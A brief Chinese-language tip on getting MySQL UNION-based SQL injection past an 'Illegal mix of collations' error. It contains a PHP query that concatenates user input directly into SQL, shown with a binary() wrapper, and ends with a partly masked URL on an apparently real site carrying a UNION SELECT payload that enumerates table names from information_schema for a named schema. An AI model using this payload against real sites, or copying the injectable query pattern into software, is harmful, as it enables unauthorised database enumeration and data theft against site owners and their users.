MySQL注入 Illegal mix of collations for operation 'UNION' 解决办法

Illegal mix of collations for operation 'UNION'

修改sql语句为如下格式
    $sql="select * from {$tablepre}members where nickname='".$nickname."'";    修改为
    $sql="select * from {$tablepre}members where nickname=binary('".$nickname."')";   

http://www.xxx.tw/page.php?menu_ ... ion%20select%20null,null,binary(table_name),null,null,null,null%20from%20information_schema.tables%20where%20table_schema=%27mooneor1_hofeng168%27%20limit%200,1